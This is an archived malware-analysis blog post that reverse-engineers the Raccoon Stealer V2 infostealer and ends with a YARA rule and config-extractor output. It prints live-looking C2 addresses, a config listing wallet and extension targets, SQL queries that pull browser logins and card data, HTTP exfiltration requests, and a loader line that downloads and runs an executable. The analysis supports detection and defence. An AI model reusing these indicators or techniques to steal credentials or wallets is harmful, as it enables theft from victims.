# The Trash Panda Reemerges from the Dumpster: Raccoon Stealer V2 – Malware Book Reports

By muzi View all posts

Archived: 2026-04-05 22:59:13 UTC

Raccoon Stealer has emerged from its hiatus, rewritten from the ground up in C/C++, with a new front-end, new back-end and new data stealing capabilities. Raccoon Stealer was previously sold as a Malware-as-a-Service (MaaS) until falling off the radar in March 2022. This shutdown was reportedly due to the loss of a lead developer of the project during the Russian invasion of Ukraine. After a few months of development, Raccoon Stealer is back, complete with all its shiny new features, for the price of $275 a month. Let's [dumpster] dive into this new version of Raccoon Stealer and see what it's all about.

Figure 1: Raccoon Stealer 2.0 Beta Testing Successful (source: https://www.bleepingcomputer.com/news/security/raccoon-stealer-is-back-with-a-new-version-to-steal-your-passwords/)

## Technical Analysis

```
 MD5: 0cfa58846e43dd67b6d9f29e97f6c53e
SHA1: 19d9fbfd9b23d4bd435746a524443f1a962d42fa
SHA256: 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03
```

Raccoon Stealer 2.0 is advertised as lightweight, and it delivers, coming in at around 56 KB. The developers promise many new features, so let's examine the execution flow step-by-step and see what this new version has to offer.

**Step 1: Resolve Libs**

The malware kicks off execution by dynamically resolving Libraries and APIs required for later usage.

Figure 2: Dynamically Resolve Libraries and APIs

**Step 2: Decrypt Strings**

After resolving the libraries and corresponding APIs required, the malware next decrypts its strings. These strings are base64 encoded and RC4 encrypted. To make analysis easier, I've written a Ghidra Script to decrypt these strings and comment/label them appropriately.

Figure 3: Base64 and RC4 Decrypt Strings

**Step 3: Decrypt Configuration [C2 Server(s)]**

Next, Raccoon Stealer proceeds to decrypt its configuration. In the sample analyzed, only one C2 was present, though it appears to support multiple C2 servers in the code.

Figure 4: Decrypt Configuration

**Step 4: Check Locale, Mutex and User Privs**

Now that everything has been loaded and decrypted, the malware starts checking for various information. First, the malware checks `GetUserDefaultLocaleName` to ensure it does not match "RU" and exits if it does. Next, the malware attempts to open an existing mutex object of `8724643052`. If successful, it exits to prevent running multiple instances. Otherwise, the malware will open that mutex. (Note: Mutex is an unencrypted, hardcoded wide string) Finally, the malware checks what privileges it is running under, checking to see if it is running as ( `S-1-5-18` NT Authority\System).

Figure 5: Open or Create Mutex

Figure 6: Check Privileges

**Step 5: Collect System Info, POST to C2**

Raccoon Stealer now collects some information on the system to provide to the C2. It begins by reading the machine guid from `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid.`

Figure 7: Get Machine Guid

Next, it gets the username via `ADVAPI32.dll::GetUserNameW`.

Figure 8: Get Username

Finally, it concatenates the results of the data.

Figure 9: Concatenated Check-in Info to Send to C2

```
machineId=<machine_id>|<USERNAME>&config_id=<config_rc4_key>
```

Once basic system information has been collected, Raccoon Stealer sends this information to the C2 server. Note the User-Agent: `record` and that the data is unencrypted and sent over HTTP.

Figure 10: Send Data to C2 Server

```
 POST / HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: record
Host: 51.195.166.184
Content-Length: 95
Connection: Keep-Alive
Cache-Control: no-cache
Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d
Data Ascii: machineId=<machine_id>|<username>&configId=<config_rc4_key>
```

**Step 6: Retrieve Config From C2**

If the POST to the C2 server is successful, the C2 server returns the configuration, which includes URLs to download the DLL dependencies and the stealer configuration.

*Note: The C2 for the sample I analyzed was down, so I modified the sample to use a new C2 server I found and patched/modified the config for my sample to work correctly. I did manage to get more config data as well as a payload for Raccoon to download and execute.*

```
 libs_nss3:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
libs_msvcp140:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
libs_vcruntime140:http://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
libs_mozglue:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
libs_freebl3:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
libs_softokn3:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings
ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings
libs_sqlite3:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings
ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings
wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*
wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*
wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*
wlts_binance:Binance;26;Binance;*app-store.*;-
wlts_coinomi:Coinomi;28;Coinomi\Coinomi\wallets;*;-
wlts_electrum:Electrum;26;Electrum\wallets;*;-
wlts_elecltc:Electrum-LTC;26;Electrum-LTC\wallets;*;-
wlts_elecbch:ElectronCash;26;ElectronCash\wallets;*;-
```

```
wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*
wlts_green:BlockstreamGreen;28;Blockstream\Green;*;cache,gdk,*logs*
wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*
ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings
ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings
sstmnfo_System Info.txt:System Information:
|Installed applications:
libs_nssdbm3:hxxp://94.158.247[.]24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll
wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*
wlts_mymonero:MyMonero;26;MyMonero;*;*cache*
wlts_xmr:Monero;5;Monero\\wallets;*.keys;-
wlts_wasabi:Wasabi;26;WalletWasabi\\Client;*;*tor*,*log*
ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings
ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB
ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings
ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings
ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings
ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings
ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB
ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings
ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings
ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings
ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings
ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings
ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings
ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Ex
tension Settings
ews_clover:nhnkbkgjikgcigad
omkphalanndcapjk;CloverWallet;Local Extension Settings
ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings
ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings
ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings
ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings
ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings
ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings
ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings
ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings
ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings
ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings
ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings
ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings
ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings
ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings
ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings
ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings
ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Ext
ension Settings
```

```
ews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings
ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings
ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings
ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings
ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings
ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings
scrnsht_Screenshot.jpeg:1
tlgrm_Telegram:Telegram Desktop\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*
grbr_txt:%USERPROFILE%\Desktop\|*.txt|*windows*,*recycle*|100|1|1|files
grbr_sdk:%DSK235%\|*ledger*,*trezor*,*safepal*,*metamask*|-|15|0|0|files
ldr_1:hxxps://bitbucket[.]org/reaXon112233/12333333/downloads/1[.]exe|%APPDATA%\|exe
token:<token_id>
```

| Field | Description |
|---|---|
| libs_<filename> | DLL dependency filename and address to download it from |
| ews_<target_software> | Browser-based crypto wallet extensions |
| wlts_<target_software> | Crypto wallets |
| sstmnnfo_<filename> | String(s) used to structure system info data collected and sent to C2 server |
| scrnsht_<filename> | Filename for the screenshot |
| tlgrm_<target_items> | Configuration for what data to collect from Telegram |
| grbr_<target_data) | Configuration data to target on local drives |
| ldr_ <target> | Optional field to have Raccoon download and execute additional payload |
| token | Unique ID for the bot used to post data to the C2 http://<c2>/<token> |

Figure 11: Raccoon Stealer Configuration Breakdown

**Step 7: Download and Load DLL Dependencies**

After receiving its configuration, Raccoon Stealer parses out the `libs_` field, which contains the DLL filename and the download address. Next, it loops through and downloads the following files to the path `C:\Users\<username>\AppData\LocalLow

- nss3.dll
- msvcp140.dll
- vcruntime140.dll
- mozglue.dll

- freebl3.dll
- softokn3.dll
- sqlite3.dll
- nssdbm3.dll

Figure 12: Download DLL Dependencies

**Step 8: Fingerprint System, POST to C2**

After downloading the DLLs, Raccoon generates a URL based on its unique token. This token is used as the path for all future POST requests so that the C2 server can keep track of the infected clients information. Next, it collects detailed system information (sstmnfo_ in the config) about the infected device and sends it off to the C2.

- User CID
- TimeZone
- OS Version
- Architecture
- CPU Info
- RAM Info
- Display Devices
- Installed Applications

Figure 13: Enumerate SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall to Collect Installed Applications

```
 POST /<token> HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=<random string>
User-Agent: record
Host: 51.195.166[.]175
Content-Length: 2463
Connection: Keep-Alive
Cache-Control: no-cache
--<random string>
Content-Disposition: form-data; name="file"; filename="System Info.txt"
Content-Type: application/x-object
System Information:
- Locale: English
- Time zone:
- OS: Windows 10 Pro
- Architecture: x64
- CPU: Intel Core Processor (Broadwell)X
 (2 cores)
```

```
- RAM: 4095 MB
- Display size: 1280x720
- Display Devices:
0) Microsoft Basic Display Adapter
Installed applications:
7-Zip 19.00 (x64)
Mozilla Firefox 75.0 (x64 en-US)
Mozilla Maintenance Service 75.0
Microsoft Office Professional Plus 2016 - en-us 16.0.12527.20482
VLC media player 3.0.6
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219
Java 8 Update 66 (64-bit) 8.0.660.17
Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.40660
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
Java SE Development Kit 8 Update 66 (64-bit) 8.0.660.17
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.30.30704
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.30.30704
Office 16 Click-to-Run Licensing Component 16.0.12527.20482
Office 16 Click-to-Run Extensibility Component 16.0.12527.20482
Office 16 Click-to-Run Localization Component 16.0.12527.20482
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.40660
Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030
Google Chrome 89.0.4389.114
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.
--<random string>
```

**Step 9: Steal All The Data! (…POST to C2)**

Finally, Raccoon gets down to business and starts doing what it does best – steal all the data. Raccoon targets all the typical info-stealer related data, such as browser data (Cookies, CC info, Autofill, User Profile, Credentials, etc.) as well as what is designated in the configuration received earlier. The Raccoon Stealer data stealing routine follow these steps:

1. Steal browser information including autofill cookies/password information and credit card data utilizing sqlite3.dll
2. Steal data from Firefox using mozglue3.dll such as logins.json, cookies and history
3. Steal crypto wallets, both traditional (wlts_) and browser extensions (ews_) designated in configuration
4. Searches filesystem for `wallet.dat` to steal
5. Optional file grabber for items listed in configuration, if configured
6. Optional telegram stealer for data listed in configuration, if configured
7. Optional screenshot grabber, if configured
8. Optional loader functionality, if configured (can run local or download and execute remote payloads)

Figure 14: Stealer Functionality

Below are a few examples of data stealing as well as an example of stolen data being exfiltrated.

Figure 15: Steal Chrome Login Data

Figure 16: Example of Chrome Data Targeted by Raccoon Stealer

```
 POST /<token> HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=<random string>
User-Agent: record
Host: 51.195.166[.]175
Content-Length: 598
Connection: Keep-Alive
Cache-Control: no-cache
Content-Disposition: form-data; name="file"; filename="\cookies.txt"
Content-Type: application/xobject

--<random string>
.google.comTRUE/TRUE13261761828952522NIDdjEwnsz88lgvWAEZj09hSgVlvT1ii6ETMk1LVWQNOCL/b+j6SI6F5DTJDV9/40nSckdtNqA:
```

**Step 10: Execute Additional Payload(s)**

Raccoon Stealer V2 optionally supports execution of additional files, indicated by the `ldr_` field. The configuration for the sample I analyzed contained the following `ldr_` configuration: `ldr_1:hxxps://bitbucket[.]org/reaXon112233/12333333/downloads/1[.]exe|%APPDATA%\|exe`. As a remote payload was listed, Raccoon Stealer will download the file from the URL specified in the configuration to `C:\Users\<user>\AppData\Roaming\<[a-zA-z0-9]{8}>`, and execute it.

Figure 17: [Optional] Download and Execute Additional Payload(s)

**Detection: Yara Rule, Ghidra Script, Config Extractor/String Decryptor**

Disclaimer: None of these have really been tested against larger sample sets. I focused on this sample in particular. Feel free to open an issue on GitHub and I can update any of the following.

**Yara Rule**

```
 rule Raccoon_Stealer_V2: raccoon_stealer_v2
{
    meta:
```

```
      author = "muzi"
      date = "2022-07-22"
     description = "Detects Raccoon Stealer V2 (unpacked)"
     hash = "022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03"

strings:

    // Simple Strings
     $s1 = "Profile %d" wide
     $s2 = "Login Data" wide
     $s3 = "0Network\\Cookies" wide
     $s4 = "Web Data" wide
     $s5 = "*.lnk" wide
     $s6 = "\\ffcookies.txt" wide
     $s7 = "   %s %s" wide
     $s8 = "wallet.dat" wide
     $s9 = "S-1-5-18" wide // malware checks if running as system

     /*

                          LAB_0040878a                                    XREF[1]:     004087be(j)
     0040878a 8b c3           MOV        EAX,EBX
     0040878c 8b 0c 9f        MOV        this,dword ptr [EDI + EBX*0x4]
     0040878f 99              CDQ
     00408790 f7 7d fc        IDIV       dword ptr [EBP + local_8]
     00408793 8b 45 10        MOV        EAX,dword ptr [EBP + param_3]
     00408796 0f be 04 02     MOVSX      EAX,byte ptr [EDX + EAX*0x1]
     0040879a 03 c1           ADD        EAX,this
     0040879c 03 f0           ADD        ESI,EAX
     0040879e 81 e6 ff        AND        ESI,0x800000ff
              00 00 80
     004087a4 79 08           JNS        LAB_004087ae
     004087a6 4e              DEC        ESI
     004087a7 81 ce 00        OR         ESI,0xffffff00
              ff ff ff
     004087ad 46              INC        ESI
     */

     // Decryption Routine
     $decryption_routine = {
                                8B (C0|C1|C2|C3|C5|C6|C7) [0-8]
                                8B ?? ?? [0-8]
                                99 [0-8]
                                F7 7D ?? [0-8]
                                8B (45|4D|55|5D|6D|75|7D) ?? [0-8]
                                0F BE ?? ?? [0-8]
                                03 (C1|C2|C3|C5|C6|C7) [0-8]
```

```
                            03 (F0|F1|F2|F3|F5|F6|F7) [0-8]
                            81 E6 ?? ?? ?? ?? [0-8]
                            7? ?? [0-8]
                            4E [0-8]
                            81 CE ?? ?? ?? ?? [0-8]
                            46
    }

    /*
    00408130 8b 35 14        MOV        ESI,dword ptr [DAT_0040e014]
             e0 40 00
    00408136 57              PUSH       EDI
    00408137 50              PUSH       EAX
    00408138 ff 75 18        PUSH       dword ptr [EBP + param_7]
    0040813b ff d1           CALL       param_1
    0040813d 8b 7d d0        MOV        EDI,dword ptr [EBP + local_34]
    00408140 50              PUSH       EAX
    00408141 ff 75 18        PUSH       dword ptr [EBP + param_7]
    00408144 57              PUSH       EDI
    00408145 ff d6           CALL       ESI
    00408147 85 c0           TEST       EAX,EAX
    00408149 74 24           JZ         LAB_0040816f
    0040814b be 50 c3        MOV        ESI,0xc350
             00 00
    00408150 eb 0b           JMP        LAB_0040815d
                         LAB_00408152                                    XREF[1]:     0040816d(j)
    00408152 8b 45 e4        MOV        EAX,dword ptr [EBP + local_20]
    00408155 85 c0           TEST       EAX,EAX
    00408157 74 16           JZ         LAB_0040816f
    00408159 c6 04 18 00     MOV        byte ptr [EAX + EBX*0x1],0x0
                         LAB_0040815d                                    XREF[1]:     00408150(j)
    0040815d a1 fc e0        MOV        EAX,[DAT_0040e0fc]
             40 00
    00408162 8d 4d e4        LEA        param_1=>local_20,[EBP + -0x1c]
    00408165 51              PUSH       param_1
    00408166 56              PUSH       ESI
    00408167 53              PUSH       EBX
    00408168 57              PUSH       EDI
    00408169 ff d0           CALL       EAX
    0040816b 85 c0           TEST       EAX,EAX
    0040816d 75 e3           JNZ        LAB_00408152

    */

    // C2 Comms
    $c2_comms = {
                  8B 35 ?? ?? ?? ?? [0-8]
```

```
                    (50|51|52|53|55|56|57) [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    FF 75 ?? [0-8]
                    FF (D0|D1|D2|D3|D5|D6|D7) [0-8]
                    8B (45|4D|55|5D|6D|75|7D) ?? [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    FF 75 ?? [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    FF (D0|D1|D2|D3|D5|D6|D7) [0-8]
                    85 C0 [0-8]
                    (E2|EB|72|74|75|7C) ?? [0-8]
                    (B8|B9|BA|BB|BD|BE|BF) ?? ?? ?? ?? [0-8]
                    (E2|EB|72|74|75|7C) ?? [0-8]
                    8B (45|4D|55|5D|6D|75|7D) ?? [0-8]
                    85 C0 [0-8]
                    (E2|EB|72|74|75|7C) ?? [0-8]
                    C6 ?? ?? ?? [0-8]
                    A1 ?? ?? ?? ?? [0-8]
                    8D 4D ?? [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    (50|51|52|53|55|56|57) [0-8]
                    FF ?? [0-8]
                    85 C0 [0-8]
                    (E2|EB|72|74|75|7C)
        }


    condition:
        6 of ($s*) or
        ($c2_comms and $decryption_routine)
}
```

**Ghidra Script**

**Configuration Extractor, String Decryptor**

```
 python3 decrypt.py 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03

Raccoon Stealer Config:
hxxp://51.195.166[.]184/
Raccoon Stealer Decrypted Strings:
ews_
grbr_
%s       TRUE     %s       %s       %s       %s       %s
```

```
URL:%s
USR:%s
PASS:%s

                  %d) %s

         - Locale: %s

         - OS: %s

         - RAM: %d MB

         - Time zone: %c%ld minutes from GMT

         - Display size: %dx%d

%d
         - Architecture: x%d

         - CPU: %s (%d cores)

         - Display Devices:
%s

formhistory.sqlite
*
\




:
%
;
_
|
\*
logins.json
\autofill.txt
\cookies.txt
\passwords.txt
---
--
*/*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Type: multipart/form-data; boundary=
```

```
Content-Type: text/plain;
User Data
wallets
wlts_
ldr_
sstmnfo_
token:
nss3.dll
sqlite3.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion
PATH
ProductName
sqlite3_prepare_v2
sqlite3_open16
sqlite3_close
sqlite3_step
sqlite3_finalize
sqlite3_column_text16
sqlite3_column_bytes16
SELECT origin_url, username_value, password_value FROM logins
SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies
SELECT name, value FROM autofill
pera
Stable
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory
cookies.sqlite
machineId=
&configId=
"encrypted_key":"
stats_version":"
Content-Type: application/x-object
Content-Disposition: form-data; name="file"; filename="
GET
POST
Low
MachineGuid
image/jpeg
GdiPlus.dll
Gdi32.dll
GdiplusStartup
GdipDisposeImage
GdipGetImageEncoders
GdipGetImageEncodersSize
GdipCreateBitmapFromHBITMAP
GdipSaveImageToFile
BitBlt
```

```
CreateCompatibleBitmap
CreateCompatibleDC
DeleteObject
GetObjectW
SelectObject
SetStretchBltMode
StretchBlt
SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
NUM:%s
HOLDER:%s
EXP:%s/%s

\CC.txt
NSS_Init
NSS_Shutdown
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
SECITEM_FreeItem
hostname":"
","httpRealm":
encryptedUsername":"
","encryptedPassword":"
","guid":
Profiles
```

---

Source: https://malwarebookreports.com/the-trash-panda-reemerges-from-the-dumpster-raccoon-stealer-v2/